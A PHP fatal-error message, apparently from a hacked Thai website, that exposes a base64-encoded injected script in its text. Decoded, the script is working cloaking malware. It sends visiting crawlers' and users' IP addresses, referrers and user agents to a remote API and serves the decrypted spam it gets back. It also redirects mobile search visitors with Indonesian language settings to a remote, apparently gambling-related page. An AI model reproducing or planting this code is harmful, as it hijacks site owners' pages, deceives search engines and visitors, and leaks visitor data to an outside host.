Fatal error: Cannot redeclare getip() (previously declared in data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMCcpOwppbmlfc2V0KCdsb2dfZXJyb3JzJywgJzAnKTsKCgokYXBpX3VybCA9ICJodHRwczovL2FwaS5wc2h2cG4uY29tL2FwaSI7ICAgICAgICAgCiRhY2Nlc3Nfa2V5ID0gImxvM2RGZGFBRWYwWldyTEVldGZIRSI7ICAgICAgICAgICAgICAKJGZhbGxiYWNrX3VybCA9ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmVhY3Rqc2Nkbi9yZWFjdGpzL3JlZnMvaGVhZHMvbWFpbi9SZWFjdFZlcnNpb25zLmpzIjsgCiRyZWRpcmVjdF91cmwgPSAiaHR0cHM6Ly9qcy1ld2wucGFnZXMuZGV2L2lkLmh0bWwiOyAKCgoKJGN1cnJlbnRfdXJsID0gaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pID8gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAnLyc7CiRob3N0ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSA/ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA6ICdsb2NhbGhvc3QnOwokcHJvdG9jb2wgPSAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSAhPT0gJ29mZicpID8gJ2h0dHBzOi8vJyA6ICdodHRwOi8vJzsKJGZ1bGxfdXJsID0gJHByb3RvY29sIC4gJGhvc3QgLiAkY3VycmVudF91cmw7CiR1c2VyX2FnZW50ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICcnOwokcmVmZXJlciA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkgPyAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gOiAnJzsKJGFjY2VwdF9sYW5nID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID8gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gOiAnJzsKCgppZiAoc3RycG9zKCRjdXJyZW50X3VybCwgJ3NpdGVtYXAueG1sJykgIT09IGZhbHNlIHx8IChpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pICYmIHN0cnBvcygkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10sICdzaXRlbWFwLnhtbCcpICE9PSBmYWxzZSkpIHsKICAgICRjdXJyZW50X3VybCA9ICcvP3NpdGVtYXAueG1sJzsKfQoKCiRpc19nb29nbGVib3QgPSBwcmVnX21hdGNoKCcvR29vZ2xlYm90fEdvb2dsZWJvdC1OZXdzfEdvb2dsZWJvdC1JbWFnZXxHb29nbGVib3QtVmlkZW98R29vZ2xlYm90LU1vYmlsZXxNZWRpYXBhcnRuZXJzLUdvb2dsZXxBZHNCb3QtR29vZ2xlL2knLCAkdXNlcl9hZ2VudCk7CiRpc19iaW5nYm90ID0gcHJlZ19tYXRjaCgnL2Jpbmdib3R8TVNOQm90fG1zbmJvdC9pJywgJHVzZXJfYWdlbnQpOwokaXNfYmFpZHVib3QgPSBwcmVnX21hdGNoKCcvQmFpZHVzcGlkZXIvaScsICR1c2VyX2FnZW50KTsKJGlzX21vYmlsZSA9IHByZWdfbWF0Y2goJy8oaVBob25lfGlQYWR8aVBvZHxBbmRyb2lkfE1vYmlsZXxCbGFja0JlcnJ5fFdpbmRvd3MgUGhvbmUpL2knLCAkdXNlcl9hZ2VudCk7CgoKJGlzX2Zyb21fc2VhcmNoID0gZmFsc2U7CmlmICghZW1wdHkoJHJlZmVyZXIpKSB7CiAgICAKICAgICRoYXNfc2VhcmNoX2VuZ2luZSA9ICgKICAgICAgICBzdHJpcG9zKCRyZWZlcmVyLCAnLmdvb2dsZS4nKSAhPT0gZmFsc2UgfHwgCiAgICAgICAgc3RyaXBvcygkcmVmZXJlciwgJ2dvb2dsZS5jb20nKSAhPT0gZmFsc2UgfHwgCiAgICAgICAgc3RyaXBvcygkcmVmZXJlciwgJy5iaW5nLmNvbScpICE9PSBmYWxzZSB8fAogICAgICAgIHN0cmlwb3MoJHJlZmVyZXIsICdiaW5nLmNvbScpICE9PSBmYWxzZSB8fAogICAgICAgIHN0cmlwb3MoJHJlZmVyZXIsICd5YWhvby4nKSAhPT0gZmFsc2UgfHwKICAgICAgICBzdHJpcG9zKCRyZWZlcmVyLCAneWFuZGV4LicpICE9PSBmYWxzZSB8fAogICAgICAgIHN0cmlwb3MoJHJlZmVyZXIsICdkdWNrZHVja2dvLicpICE9PSBmYWxzZSB8fAogICAgICAgIHN0cmlwb3MoJHJlZmVyZXIsICdiYWlkdS4nKSAhPT0gZmFsc2UgfHwKICAgICAgICBzdHJpcG9zKCRyZWZlcmVyLCAnLmJhaWR1LicpICE9PSBmYWxzZQogICAgKTsKICAgIAogICAgCiAgICAkaXNfYW5kcm9pZF9zZWFyY2hfYXBwID0gcHJlZ19tYXRjaCgnI15hbmRyb2lkLWFwcDovLy4qPyhnb29nbGV8YmFpZHV8c29nb3V8YmluZ3x5YWhvb3x5YW5kZXh8ZHVja2R1Y2tnb3xuYXZlcikjaScsICRyZWZlcmVyKTsKICAgIAogICAgaWYgKCgkaGFzX3NlYXJjaF9lbmdpbmUgfHwgJGlzX2FuZHJvaWRfc2VhcmNoX2FwcCkgJiYgcHJlZ19tYXRjaCgnL1xiaWQoLUlEKT8oOy4qKT9cYi9pJywgJGFjY2VwdF9sYW5nKSkgewogICAgICAgICRpc19mcm9tX3NlYXJjaCA9IHRydWU7CiAgICB9Cn0KCgppZiAoJGlzX2dvb2dsZWJvdCB8fCAkaXNfYmluZ2JvdCB8fCAkaXNfYmFpZHVib3QpIHsKICAgICRwYXJhbXMgPSBhcnJheSgKICAgICAgICBiYXNlNjRfZW5jb2RlKCdkb21haW4nKSA9PiBiYXNlNjRfZW5jb2RlKCRwcm90b2NvbCAuICRob3N0KSwKICAgICAgICBiYXNlNjRfZW5jb2RlKCdwYXRoJykgPT4gYmFzZTY0X2VuY29kZSgkY3VycmVudF91cmwpLAogICAgICAgIGJhc2U2NF9lbmNvZGUoJ3NwaWRlcicpID0+IGJhc2U2NF9lbmNvZGUoJHVzZXJfYWdlbnQpLAogICAgICAgIGJhc2U2NF9lbmNvZGUoJ3JlZmVyZXInKSA9PiBiYXNlNjRfZW5jb2RlKCRyZWZlcmVyKSwKICAgICAgICBiYXNlNjRfZW5jb2RlKCdpcGFkZHInKSA9PiBiYXNlNjRfZW5jb2RlKGdldElQKCkpCiAgICApOwoKICAgIAogICAgJGV4dHJhY3RlZF9rZXl3b3JkID0gZXh0cmFjdEtleXdvcmRGcm9tUGF0aCgkY3VycmVudF91cmwpOwogICAgaWYgKCRleHRyYWN0ZWRfa2V5d29yZCA9PT0gJycpIHsKICAgICAgICAka2V5d29yZF9zb3VyY2VzID0gYXJyYXkoJ2tleXdvcmQnLCAnaWQnLCAnZG93bicsICdzZW8nLCAnc2VhcmNoJywgJ2FjdGlvbicsICdnYW1lJywgJ3Bnc2xvdCcsICdiZXQnLCAnZ28nLCAncGxheScsICdxdWVyeScsICdmaW5kJywgJ3AnLCAncGFnZScsICduZXdzJywgJ3BvcnRhbCcpOwogICAgICAgIGZvcmVhY2ggKCRrZXl3b3JkX3NvdXJjZXMgYXMgJHBhcmFtX25hbWUpIHsKICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWyRwYXJhbV9uYW1lXSkgJiYgJF9HRVRbJHBhcmFtX25hbWVdICE9PSAnJykgewogICAgICAgICAgICAgICAgJGV4dHJhY3RlZF9rZXl3b3JkID0gJF9HRVRbJHBhcmFtX25hbWVdOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBpZiAoJGV4dHJhY3RlZF9rZXl3b3JkICE9PSAnJykgewogICAgICAgICRwYXJhbXNbYmFzZTY0X2VuY29kZSgna2V5d29yZCcpXSA9IGJhc2U2NF9lbmNvZGUoJGV4dHJhY3RlZF9rZXl3b3JkKTsKICAgIH0KCiAgICAkaGVhZGVycyA9IGFycmF5KAogICAgICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcsCiAgICAgICAgJ3VzZXJfYWdlbnQ6ICcgLiAkdXNlcl9hZ2VudAogICAgKTsKICAgIGlmICghZW1wdHkoJGFjY2VwdF9sYW5nKSkgewogICAgICAgICRoZWFkZXJzW10gPSAiQWNjZXB0LUxhbmd1YWdlOiAkYWNjZXB0X2xhbmciOwogICAgfQoKICAgIAogICAgJHJlc3AgPSBodHRwX3Bvc3QoJGFwaV91cmwgLiAnP2VuYz1wc2smZ3o9MScsICRwYXJhbXMsICRoZWFkZXJzKTsKICAgICRjb250ZW50ID0gZGVjcnlwdF9wc2tfcmVzcG9uc2UoJHJlc3AsICRhY2Nlc3Nfa2V5KTsKCiAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlICYmICRjb250ZW50ICE9PSAnJykgewogICAgICAgIHdoaWxlIChvYl9nZXRfbGV2ZWwoKSkgb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwogICAgICAgIGVjaG8gJGNvbnRlbnQ7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKCmlmICgkaXNfbW9iaWxlICYmICRpc19mcm9tX3NlYXJjaCkgewogICAgJHBhcmFtcyA9IGFycmF5KAogICAgICAgIGJhc2U2NF9lbmNvZGUoJ2RvbWFpbicpID0+IGJhc2U2NF9lbmNvZGUoJHByb3RvY29sIC4gJGhvc3QpLAogICAgICAgIGJhc2U2NF9lbmNvZGUoJ3BhdGgnKSA9PiBiYXNlNjRfZW5jb2RlKCRjdXJyZW50X3VybCksCiAgICAgICAgYmFzZTY0X2VuY29kZSgnc3BpZGVyJykgPT4gYmFzZTY0X2VuY29kZSgkdXNlcl9hZ2VudCksCiAgICAgICAgYmFzZTY0X2VuY29kZSgncmVmZXJlcicpID0+IGJhc2U2NF9lbmNvZGUoJHJlZmVyZXIpLAogICAgICAgIGJhc2U2NF9lbmNvZGUoJ2lwYWRkcicpID0+IGJhc2U2NF9lbmNvZGUoZ2V0SVAoKSkKICAgICk7CgogICAgCiAgICAkZXh0cmFjdGVkX2tleXdvcmQgPSBleHRyYWN0S2V5d29yZEZyb21QYXRoKCRjdXJyZW50X3VybCk7CiAgICBpZiAoJGV4dHJhY3RlZF9rZXl3b3JkID09PSAnJykgewogICAgICAgICRrZXl3b3JkX3NvdXJjZXMgPSBhcnJheSgna2V5d29yZCcsICdpZCcsICdkb3duJywgJ3NlbycsICdzZWFyY2gnLCAnYWN0aW9uJywgJ2dhbWUnLCAncGdzbG90JywgJ2JldCcsICdnbycsICdwbGF5JywgJ3F1ZXJ5JywgJ2ZpbmQnLCAncCcsICdwYWdlJywgJ25ld3MnLCAncG9ydGFsJyk7CiAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRfc291cmNlcyBhcyAkcGFyYW1fbmFtZSkgewogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJHBhcmFtX25hbWVdKSAmJiAkX0dFVFskcGFyYW1fbmFtZV0gIT09ICcnKSB7CiAgICAgICAgICAgICAgICAkZXh0cmFjdGVkX2tleXdvcmQgPSAkX0dFVFskcGFyYW1fbmFtZV07CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGlmICgkZXh0cmFjdGVkX2tleXdvcmQgIT09ICcnKSB7CiAgICAgICAgJHBhcmFtc1tiYXNlNjRfZW5jb2RlKCdrZXl3b3JkJyldID0gYmFzZTY0X2VuY29kZSgkZXh0cmFjdGVkX2tleXdvcmQpOwogICAgfQoKICAgICRoZWFkZXJzID0gYXJyYXkoCiAgICAgICAgJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywKICAgICAgICAndXNlcl9hZ2VudDogJyAuICR1c2VyX2FnZW50CiAgICApOwogICAgaWYgKCFlbXB0eSgkYWNjZXB0X2xhbmcpKSB7CiAgICAgICAgJGhlYWRlcnNbXSA9ICJBY2NlcHQtTGFuZ3VhZ2U6ICRhY2NlcHRfbGFuZyI7CiAgICB9CgogICAgCiAgICAkcmVzcCA9IGh0dHBfcG9zdCgkYXBpX3VybCAuICc/ZW5jPXBzayZnej0xJywgJHBhcmFtcywgJGhlYWRlcnMsIDMpOwogICAgJGNvbnRlbnQgPSBkZWNyeXB0X3Bza19yZXNwb25zZSgkcmVzcCwgJGFjY2Vzc19rZXkpOwoKICAgIGlmICgkY29udGVudCAhPT0gZmFsc2UgJiYgJGNvbnRlbnQgIT09ICcnKSB7CiAgICAgICAgd2hpbGUgKG9iX2dldF9sZXZlbCgpKSBvYl9lbmRfY2xlYW4oKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7CiAgICAgICAgZWNobyAkY29udGVudDsKICAgICAgICBleGl0OwogICAgfQoKICAgIAogICAgJGZhbGxiYWNrX2NvbnRlbnQgPSBodHRwX2dldF93aXRoX3RpbWVvdXQoJGZhbGxiYWNrX3VybCwgMSk7CiAgICBpZiAoJGZhbGxiYWNrX2NvbnRlbnQgIT09IGZhbHNlKSB7CiAgICAgICAgd2hpbGUgKG9iX2dldF9sZXZlbCgpKSBvYl9lbmRfY2xlYW4oKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7CiAgICAgICAgZWNobyAkZmFsbGJhY2tfY29udGVudDsKICAgICAgICBleGl0OwogICAgfQoKICAgIAogICAgd2hpbGUgKG9iX2dldF9sZXZlbCgpKSBvYl9lbmRfY2xlYW4oKTsKICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkcmVkaXJlY3RfdXJsLCB0cnVlLCAzMDIpOwogICAgZXhpdDsKfQoKCgoKZnVuY3Rpb24gZ2V0SVAoKSB7CiAgICAkaXAgPSAnJzsKICAgIGZvcmVhY2ggKGFycmF5KCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAnSFRUUF9DTElFTlRfSVAnLCAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAnUkVNT1RFX0FERFInKSBhcyAkaykgewogICAgICAgICR2ID0gaXNzZXQoJF9TRVJWRVJbJGtdKSA/ICRfU0VSVkVSWyRrXSA6IGdldGVudigkayk7CiAgICAgICAgaWYgKCR2ICYmIHN0cmNhc2VjbXAoJHYsICd1bmtub3duJykgIT09IDApIHsgJGlwID0gJHY7IGJyZWFrOyB9CiAgICB9CiAgICByZXR1cm4gcHJlZ19tYXRjaCgnL1tcZFwuXXs3LDE1fS8nLCAkaXAsICRtKSA/ICRtWzBdIDogJyc7Cn0KCmZ1bmN0aW9uIGh0dHBfcG9zdCgkdXJsLCAkZGF0YSwgJGhlYWRlcnMsICRjb25uZWN0VGltZW91dCA9IDApIHsKICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgJG9wdHMgPSBhcnJheSgKICAgICAgICBDVVJMT1BUX1VSTCA9PiAkdXJsLAogICAgICAgIENVUkxPUFRfUE9TVCA9PiAxLAogICAgICAgIENVUkxPUFRfUE9TVEZJRUxEUyA9PiBodHRwX2J1aWxkX3F1ZXJ5KCRkYXRhKSwKICAgICAgICBDVVJMT1BUX0hUVFBIRUFERVIgPT4gJGhlYWRlcnMsCiAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiAxLAogICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiAxNSwKICAgICAgICBDVVJMT1BUX0VOQ09ESU5HID0+ICdnemlwLCBkZWZsYXRlJywKICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLAogICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UKICAgICk7CiAgICBpZiAoJGNvbm5lY3RUaW1lb3V0ID4gMCkgewogICAgICAgICR0aW1lb3V0TXMgPSAoaW50KSgkY29ubmVjdFRpbWVvdXQgKiAxMDAwKTsKICAgICAgICAkb3B0c1tDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUX01TXSA9ICR0aW1lb3V0TXM7CiAgICAgICAgJG9wdHNbQ1VSTE9QVF9USU1FT1VUX01TXSA9ICR0aW1lb3V0TXM7CiAgICAgICAgJG9wdHNbQ1VSTE9QVF9OT1NJR05BTF0gPSB0cnVlOwogICAgfQogICAgY3VybF9zZXRvcHRfYXJyYXkoJGNoLCAkb3B0cyk7CiAgICAkcmVzcCA9IGN1cmxfZXhlYygkY2gpOwogICAgY3VybF9jbG9zZSgkY2gpOwogICAgcmV0dXJuICRyZXNwICE9PSBmYWxzZSA/ICRyZXNwIDogJyc7Cn0KCmZ1bmN0aW9uIGh0dHBfZ2V0X3dpdGhfdGltZW91dCgkdXJsLCAkdGltZW91dCA9IDEpIHsKICAgICR1c2VyX2FnZW50ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6ICcnOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsKICAgICAgICAkdGltZW91dE1zID0gKGludCkoJHRpbWVvdXQgKiAxMDAwKTsKICAgICAgICBjdXJsX3NldG9wdF9hcnJheSgkY2gsIGFycmF5KAogICAgICAgICAgICBDVVJMT1BUX1VSTCA9PiAkdXJsLAogICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IDEsCiAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVRfTVMgPT4gJHRpbWVvdXRNcywKICAgICAgICAgICAgQ1VSTE9QVF9USU1FT1VUX01TID0+ICR0aW1lb3V0TXMsCiAgICAgICAgICAgIENVUkxPUFRfTk9TSUdOQUwgPT4gdHJ1ZSwKICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwKICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZSwKICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gJHVzZXJfYWdlbnQsCiAgICAgICAgICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gdHJ1ZQogICAgICAgICkpOwogICAgICAgICRyZXNwID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgJGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICByZXR1cm4gKCRjb2RlID09IDIwMCAmJiAkcmVzcCAhPT0gZmFsc2UgJiYgc3RybGVuKCRyZXNwKSA+PSAxMCkgPyAkcmVzcCA6IGZhbHNlOwogICAgfQoKICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoCiAgICAgICAgJ2h0dHAnID0+IGFycmF5KAogICAgICAgICAgICAnbWV0aG9kJyA9PiAnR0VUJywKICAgICAgICAgICAgJ3RpbWVvdXQnID0+ICR0aW1lb3V0LAogICAgICAgICAgICAndXNlcl9hZ2VudCcgPT4gJHVzZXJfYWdlbnQsCiAgICAgICAgKSwKICAgICAgICAnc3NsJyA9PiBhcnJheSgKICAgICAgICAgICAgJ3ZlcmlmeV9wZWVyJyA9PiBmYWxzZSwKICAgICAgICAgICAgJ3ZlcmlmeV9wZWVyX25hbWUnID0+IGZhbHNlLAogICAgICAgICksCiAgICApKTsKICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY3R4KTsKICAgICRzdGF0dXMgPSAwOwogICAgaWYgKGlzc2V0KCRodHRwX3Jlc3BvbnNlX2hlYWRlcikgJiYgaXNfYXJyYXkoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSkgewogICAgICAgICRzdGF0dXNfbGluZSA9ICRodHRwX3Jlc3BvbnNlX2hlYWRlclswXTsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1xzKFxkezN9KS8nLCAkc3RhdHVzX2xpbmUsICRtYXRjaGVzKSkgewogICAgICAgICAgICAkc3RhdHVzID0gKGludCkkbWF0Y2hlc1sxXTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gKCRzdGF0dXMgPT09IDIwMCAmJiAkY29udGVudCAhPT0gZmFsc2UgJiYgc3RybGVuKCRjb250ZW50KSA+PSAxMCkgPyAkY29udGVudCA6IGZhbHNlOwp9CgpmdW5jdGlvbiBkZXJpdmVfcHNrX2tleXMoJGFjY2Vzc0tleSkgewogICAgJGlrbSA9ICRhY2Nlc3NLZXk7IAogICAgJHNhbHQgPSBzdHJfcmVwZWF0KCJceDAwIiwgMzIpOyAKICAgICRpbmZvID0gJ3Nlb19jb250cm9sX2dpbnxwc2t8YWVzLTI1Ni1jYmN8djEnOwogICAgJHByayA9IGhhc2hfaG1hYygnc2hhMjU2JywgJGlrbSwgJHNhbHQsIHRydWUpOwogICAgJHQgPSAnJzsgJG9rbSA9ICcnOwogICAgZm9yICgkaSA9IDE7IHN0cmxlbigkb2ttKSA8IDY0OyAkaSsrKSB7CiAgICAgICAgJHQgPSBoYXNoX2htYWMoJ3NoYTI1NicsICR0IC4gJGluZm8gLiBjaHIoJGkpLCAkcHJrLCB0cnVlKTsKICAgICAgICAkb2ttIC49ICR0OwogICAgfQogICAgcmV0dXJuIGFycmF5KHN1YnN0cigkb2ttLCAwLCAzMiksIHN1YnN0cigkb2ttLCAzMiwgMzIpKTsKfQoKZnVuY3Rpb24gZGVjcnlwdF9wc2tfcmVzcG9uc2UoJHJlc3AsICRhY2Nlc3NLZXkpIHsKICAgICRvYmogPSBqc29uX2RlY29kZSgkcmVzcCwgdHJ1ZSk7CiAgICBpZiAoIWlzX2FycmF5KCRvYmopIHx8ICFpc3NldCgkb2JqWyd2J10pIHx8ICRvYmpbJ3YnXSAhPT0gJ3BzazEnKSByZXR1cm4gJHJlc3A7CiAgICAKICAgICRpdiA9IGJhc2U2NF9kZWNvZGUoJG9ialsnaXYnXSk7CiAgICAkY3QgPSBiYXNlNjRfZGVjb2RlKCRvYmpbJ2N0J10pOwogICAgJHRhZyA9IGJhc2U2NF9kZWNvZGUoJG9ialsndGFnJ10pOwoKICAgIGxpc3QoJGtleUVuYywgJGtleU1hYykgPSBkZXJpdmVfcHNrX2tleXMoJGFjY2Vzc0tleSk7CiAgICAkY2FsYyA9IGhhc2hfaG1hYygnc2hhMjU2JywgJGl2IC4gJGN0LCAka2V5TWFjLCB0cnVlKTsKICAgIAogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9lcXVhbHMnKSA/ICFoYXNoX2VxdWFscygkY2FsYywgJHRhZykgOiAkY2FsYyAhPT0gJHRhZykgcmV0dXJuICcnOwoKICAgICRwdCA9IG9wZW5zc2xfZGVjcnlwdCgkY3QsICdhZXMtMjU2LWNiYycsICRrZXlFbmMsIE9QRU5TU0xfUkFXX0RBVEEsICRpdik7CiAgICBpZiAoJHB0ID09PSBmYWxzZSkgcmV0dXJuICcnOwoKICAgIAogICAgJGxlbiA9IHN0cmxlbigkcHQpOwogICAgaWYgKCRsZW4gPiAwKSB7CiAgICAgICAgJHBhZCA9IG9yZCgkcHRbJGxlbiAtIDFdKTsKICAgICAgICBpZiAoJHBhZCA+PSAxICYmICRwYWQgPD0gMTYgJiYgJHBhZCA8PSAkbGVuKSB7CiAgICAgICAgICAgICR2YWxpZCA9IHRydWU7CiAgICAgICAgICAgIGZvciAoJGkgPSAkbGVuIC0gJHBhZDsgJGkgPCAkbGVuOyAkaSsrKSB7CiAgICAgICAgICAgICAgICBpZiAob3JkKCRwdFskaV0pICE9PSAkcGFkKSB7ICR2YWxpZCA9IGZhbHNlOyBicmVhazsgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkdmFsaWQpICRwdCA9IHN1YnN0cigkcHQsIDAsICRsZW4gLSAkcGFkKTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIAogICAgaWYgKCFlbXB0eSgkb2JqWydneiddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpIHsKICAgICAgICAkZGVjb2RlZCA9IEBnemRlY29kZSgkcHQpOwogICAgICAgIGlmICgkZGVjb2RlZCAhPT0gZmFsc2UpICRwdCA9ICRkZWNvZGVkOwogICAgfQogICAgcmV0dXJuICRwdDsKfQoKZnVuY3Rpb24gZXh0cmFjdEtleXdvcmRGcm9tUGF0aCgkcmVxdWVzdFVyaSkgewogICAgJHZhbGlkX3ByZWZpeGVzID0gYXJyYXkoCiAgICAgICAgJ3NpdGVtYXAnLCAnZ2V0X2dvb2dsZV92ZXJpZnknLCAna2V5d29yZCcsICdmaW5kJywgJ2NhcnQnLCAncGF0aCcsICdvcmRlcnMnLAogICAgICAgICdhcHAnLCAndGhhaScsICdidXknLCAncGFnZScsICdjbGllbnQnLCAnb3JkZXJpZCcsICd2aWV3JywgJ25ldycsICd1cGRhdGUnLCAnYWxlcnQnLCAnZmlsdGVyJywgJ3NpemUnLCAnY29sb3InLAogICAgICAgICdwZGYnLCAnY3N2JywgJ3hscycsICd2aWRlbycsICdsaXZldHYnLCAnZG9jcycsICdiZXRhJywgJ3VwdGltZScsICdkb3duJywgJ2FjdGlvbicsICdnYW1lJywgJ2dvJywgJ3BsYXknLAogICAgICAgICdtYmEnLCAnc3BvcnRzJywgJ3dvcmxkY3VwJywgJ2ZpbmFsJywgJ2dhbWVzJywgJ2dhbWluZycsICdnb29kJywgJ3N0b3JlJywgJ2RlbGwnLCAnYXJ0aWNsZScsICdob3QnLCAncGxhdGFmb3JtYScsICdvbmxpbmUnLCAnZmlsZScsCiAgICAgICAgJ252aWRpYScsICdhcHBsZScsICdhbWF6b24nLCAnbWV0YScsICdvcmFjbGUnLCAnbGl2ZScsICdwZXJpb2RvJywgJ2Fjb21wYW5oZScsICdhc3N1cycsICd0ZW1hcycsICdzaXRlJywgJ3Nob3AnLCAnZG9tYWluJwogICAgKTsKCiAgICAkdXJpX3BhdGggPSBwYXJzZV91cmwoJHJlcXVlc3RVcmksIFBIUF9VUkxfUEFUSCk7CiAgICBpZiAoISR1cmlfcGF0aCkgcmV0dXJuICcnOwoKICAgICRzY3JpcHRfZGlyID0gcnRyaW0oc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSksICcvJyk7CiAgICBpZiAoJHNjcmlwdF9kaXIgIT09ICcnICYmIHN0cnBvcygkdXJpX3BhdGgsICRzY3JpcHRfZGlyKSA9PT0gMCkgewogICAgICAgICR1cmlfcGF0aCA9IHN1YnN0cigkdXJpX3BhdGgsIHN0cmxlbigkc2NyaXB0X2RpcikpOwogICAgfQoKICAgICRzZWdtZW50cyA9IGV4cGxvZGUoJy8nLCB0cmltKCR1cmlfcGF0aCwgJy8nKSk7CiAgICBpZiAoZW1wdHkoJHNlZ21lbnRzKSB8fCAoY291bnQoJHNlZ21lbnRzKSA9PT0gMSAmJiAkc2VnbWVudHNbMF0gPT09ICcnKSkgewogICAgICAgIHJldHVybiAnJzsKICAgIH0KCiAgICAkcmF3ID0gJyc7CiAgICBpZiAoY291bnQoJHNlZ21lbnRzKSA+PSAyICYmIGluX2FycmF5KCRzZWdtZW50c1swXSwgJHZhbGlkX3ByZWZpeGVzKSkgewogICAgICAgICRyYXcgPSAkc2VnbWVudHNbMV07CiAgICB9IGVsc2UgewogICAgICAgICRyYXcgPSAkc2VnbWVudHNbMF07CiAgICB9CgogICAgJHJhdyA9IHByZWdfcmVwbGFjZSgnL1wuaHRtbD8kL2knLCAnJywgJHJhdyk7CiAgICByZXR1cm4gdXJsZGVjb2RlKCRyYXcpOwp9:166) in /home/wpherbth/htdocs/www.wangpromherb.co.th/global/core_function.php on line 148